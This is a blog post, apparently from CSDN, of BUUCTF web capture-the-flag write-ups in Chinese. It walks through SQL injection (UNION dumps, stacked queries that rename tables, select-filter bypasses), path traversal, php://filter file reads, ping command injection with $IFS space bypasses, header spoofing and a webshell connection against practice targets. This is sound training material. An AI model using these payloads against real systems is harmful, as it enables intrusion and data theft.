buuctf

系列文章目录

提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加


提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档

@TOC


前言

提示:这里可以添加本文要记录的大概内容:

菜鸡的笔记


提示:以下是本篇文章正文内容,下面案例可供参考

一、知识点

示例:等俺刷完再写

二、做题解析

[极客大挑战 2019]EasySQL 1

在这里插入图片描述 点击后是此页面尝试万能密码后 在这里插入图片描述

flag{d998af85-ff56-4947-ad6b-aab85e8a426e}

[HCTF 2018]WarmUp 1

在这里插入图片描述 查看源码 在这里插入图片描述 后发现source.php文件访问一下

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
​
            if (in_array($page, $whitelist)) {
                return true;
            }
​
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
​
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
​
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

发现 在这里插入图片描述 接着打开此网页查看 在这里插入图片描述 得到提升flag在ffffllllaaaagggg目录中我们需要绕过将其打开 接着开始审计代码 在这里插入图片描述 $_REQUEST 传参为全局变量 empty 判断传参是否为空 is_string 检查是否为字符串 和上面哪个函数

    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) { 判断是否为空是否是字符串
                echo "you can't see it";
                return false;
            }  这个if语句正常逃逸
​
            if (in_array($page, $whitelist)) {  字符串查找
                return true;
            }   这个返回值为真即在此处结束即可
​
            $_page = mb_substr(   函数返回字符串的一部分
                $page,
                0,
                mb_strpos($page . '?', '?')返回要查找的字符串在别一个字符串中首次出现的位置
            );这一分是返回$page起始到第二个?的内容
            if (in_array($_page, $whitelist)) {接着查找
                return true;
            }  
​
            $_page = urldecode($page);  解码 URL 字符串函数
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) { 同上
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
​

在这里插入图片描述在这里插入图片描述 看关键函数返回ture 后执行 include函数(这个在C中解释是预编译)他会执行$file的传参 然后我们进行查找ffffllllaaaagggg所在函数 命令:/?file=source.php?../../../../ffffllllaaaagggg ①尝试 ../../ (../是返回上一目录) 在这里插入图片描述 进行N次尝试后 在 /?file=source.php?../../../../../ffffllllaaaagggg 在这里插入图片描述 得出flag{42237a1c-465b-4d2d-ba08-4f109a6108ed}

[极客大挑战 2019]Havefun 1

打开靶场 在这里插入图片描述 一直喵星人???

       <!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

查看源代码后发现一段代码 根据代码提示请求后 /?cat=dog 在这里插入图片描述 得出 flag{68201e55-d596-4925-af0f-fc1dc6bcc748}

[ACTF2020 新生赛]Include 1

在这里插入图片描述 点开环境是一个跳转接着点 在这里插入图片描述 查看源码也是啥都没有抓包后也是没有收获于是想到可能是文件包含的题用filter 协议

点击此处有相关介绍 file=php://filter/read=convert.base64-encode/resource=flag.php 在这里插入图片描述 读取后进行base64解密即可 flag{680b0071-ebfa-4c01-9589-0f443ed47ebe}

[ACTF2020 新生赛]Exec 1

点开环境是一个ping

在这里插入图片描述 输入127.0.0.1本机ip发现有回响接着输入 & 符进行后续输入 在这里插入图片描述 发现可以打开接着进行不断查找flag所在位置 cd 打开位置 ls 列出当前目录 ../ 返回上一级 在这里插入图片描述 打开该文件 cat 打开文件 在这里插入图片描述 得出flag{c6c89bab-5179-4bca-a09f-9f841d0a7eec}

[强网杯 2019]随便注 1

此题我做了好久这题做法不一姿势很多很骚 打开环境后尝试万能密码有回响 ####### 首先查询基本内容 在这里插入图片描述 接着注入查看列库表的一些基本内容 1';order by 3;#

在这里插入图片描述 查列发现有三列 1';show tables;# 在这里插入图片描述 查表发现有两个表

1';show tables;# 在这里插入图片描述

1';select database;# 在这里插入图片描述

🆗大致内容了解在当前 hahahah数据库中有两个表和禁用掉的相关函数 ####### 接着查询两个已知的数据表 1'; show columns from 1919810931114514;# 在这里插入图片描述 发现flag 但由上面可得select函数被禁用无法查看 11'; show columns from words;# 在这里插入图片描述 查询第二个表 ####### 由以上内容进行姿势绕过 ####### 法① 一直当输入万能密码时该数据库的id字段会爆出来 在这里插入图片描述

       so如果我们将flag的列名换成id这样就可以爆出来
        需要先将words的表名换了再换列名
1';rename table words to B;
rename table `1919810931114514` to words;
alter table `words` change `flag` `id` varchar(100);#
varchar(100);原id是int型而现在的是char进行改变

在这里插入图片描述 输入后无报错即已成功将SQL语句插入其中

在这里插入图片描述 万能密码爆出flag{98f25409-1314-4bce-907e-79a464913fec}

####### 法② 通过绕过select 函数检测来读取flag 怎么绕过呢常见的绕过大小写 双写 拼接 而这个题就是可以采用拼接和大小写绕过检测 concat拼接函数然后再来个预编译试试

·1';set @sql=concat('se','lect * from  `1919810931114514`;');prepare qw from @sql;execute qw;#  
先于编译然后再使用

在这里插入图片描述 发现抱错set 通过判断可以尝试大小写绕过

在这里插入图片描述

得出flag{8999abac-75f4-4f99-9350-a6d8a01f59b8}

[SUCTF 2019]EasySQL 1

简单注入真滴简单死了反正我是噶了 在这里插入图片描述 打开输入1然后爆出一些东东接着联合查询啥的发现都不能用但是还能爆出一些基本信息

在这里插入图片描述 但是也没有多大鸟用最后还是看大佬的WP做的 通过大佬可知 源码可能为:select $_POST[‘query’] || flag from Flag 有源码可得: 当输入的值为 *,1 时语句为 select *,1 || flag from Flag => select *,1 from Flag 此处1是指新增一列而 *是所有 即查出所有 在这里插入图片描述 还有一种做法是将 || 入手将其从逻辑符变成连接符 即更改其SQL配置将其改为连接符 set sql_mode=PIPES_AS_CONCAT 即姿势诞生 1;set sql_mode=PIPES_AS_CONCAT;select 1 更改配置后重新查询一下即可 在这里插入图片描述 flag{687061d4-d5e0-4bb0-ae5e-4d759fcce69e}

[GXYCTF2019]Ping Ping Ping 1

在这里插入图片描述 打开后正常ping一下测试 然后进行其他尝试由于到打游戏的时间了此题长话短说总之呢你会发现他吧 空格符号禁用了还禁用了flag的每个字符

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

上面可以替代空格的 然后接下来 /?ip=127.0.0.1|l列一下当前目录 在这里插入图片描述 然后尝试打开flag结果打不开所以打开另一个文件/?ip=127.0.0.1;cat$IFS$1index.php 在这里插入图片描述 发现过滤的东西,但是有个 $a变量可以进行参数覆盖

?ip=127.0.0.1;a=f;tac$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;tac$IFS$1f$aag.php    没flag
?ip=127.0.0.1;a=a;tac$IFS$1fl$ag.php    过滤
?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php    有flag
?ip=127.0.0.1;a=fl;b=ag;tac$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;tac$IFS$1$a$b.php 有flag
时间紧急这一段是复制别人的(可用)

此题还能进行 在这里插入图片描述 这一段也是复制别人的没有亲自测试(未知)

这题还可以 在这里插入图片描述

?ip=127.0.0.1;cat$IFS`ls`    内敛执行
?ip=127.0.0.1;cat$IFS$3`ls`  即将ls以参数的形式在cat中执行
?ip=127.0.0.1;cat$IFS$9`ls`  注意ls是用`` 包裹的即英文的波浪号
?ip=127.0.0.1|cat$IFS$9`ls`  tac 与 cat 显示在前后的差别

[极客大挑战 2019]Secret File 1

在这里插入图片描述在这里插入图片描述

发现隐藏文件打开后 在这里插入图片描述 点击后发现直接结束了 在这里插入图片描述 怎么办抓个包试试 在这里插入图片描述 在抓包回显时发现隐藏文件打开文件

<?php
    highlight_file(__FILE__);
    error_reporting(0);  显示报错的函数
    $file=$_GET['file'];  GET传参
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";当if语句不成立后执行include函数
        exit();       strstr() 函数搜索字符串在另一字符串中的第一次出现
    }
    include($file); 
//flag放在了flag.php里
?>

发现一串代码审计进行分析发现最下面表示答案就在 flag.php打开看看 在这里插入图片描述 发现就在里面可是看不到猜测文件包含用一下data也被🈲了用伪协议base的形式输出 file=php://filter/read=convert.base64-encode/resource=flag.php 在这里插入图片描述 发现隐藏东东 在这里插入图片描述 解密 在这里插入图片描述 flag{db1b9ae8-1dd8-4880-808c-9d37dc2c98ce}

[极客大挑战 2019]LoveSQL 1

点击打开后尝试万能密码

1' or 1=1#

在这里插入图片描述 有注入但内容经过一系列百度解密发现没有卵用,回到登陆页面查列表

1' order by 3#  没有报错

在这里插入图片描述

1' order by 4# 有报错

在这里插入图片描述 得出此库有三列接着查表查库查字段

1' union select 1,2,3#   已知是三列所以是 1 2 3

在这里插入图片描述 查当前库版本

1' union select 2,database(),version()# 字段那个1 2 3写那个都行

在这里插入图片描述 得到库进行爆库表 1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

1' union select 1,database(),group_concat(table_name) from 
#     字段           当前库    结果连接起来一行输出
information_schema.tables where table_schema=database()#
 数据库中的默认 .后 里面是所有 .后 名    在当前库查

在这里插入图片描述 查询发现两个表名进行爆字段处理 1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

1' union select 1,database(),group_concat(column_name) from 
		查列			库		 连接一行输出
information_schema.columns where table_name='l0ve1ysq1'#
 获取所有列信息

在这里插入图片描述 1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'# 在这里插入图片描述

1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1 #

1' union select 1,database(),group_concat(id,username,password)
	查列			库			一行输出
from  l0ve1ysq1 
		表名

得出flag{0f7f8f7b-e492-4e26-94e0-7f6f5701e9c1} 在这里插入图片描述 经查询另一个表是没有flag的 在这里插入图片描述

[极客大挑战 2019]Knife 1

在这里插入图片描述

这题就比较简单他是暗示 菜刀 ???正经人喜欢用蚁剑的不懂的可以百度一下 直接连接 在这里插入图片描述 连接成功真是白给 在这里插入图片描述 在根目录得到flag{87809b1c-7820-4bef-969d-fe879b42b685}

[极客大挑战 2019]Http 1

在这里插入图片描述 打开后很迷糊看看源代码 在这里插入图片描述 找到一个隐藏路径 在这里插入图片描述

给出提示你需要以https://www.Sycsecret.com网址打开我们通过抓包方式进行伪造 Referer 服务器伪造原理

在这里插入图片描述 回响提示需要浏览器了 在这里插入图片描述 回响显示需要在本机访问即伪造ip X-Forwarded-For  X-Forwarded-For 概念用法

在这里插入图片描述 得出flag{aeea856c-ed33-4b4b-8853-a0b5dcf0da21} 在这里插入图片描述在这里插入图片描述 注意放置位置与格式

[极客大挑战 2019]Upload 1

在这里插入图片描述 一个比较标准的文件上传

提示:这里对文章进行总结:

TIMI

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值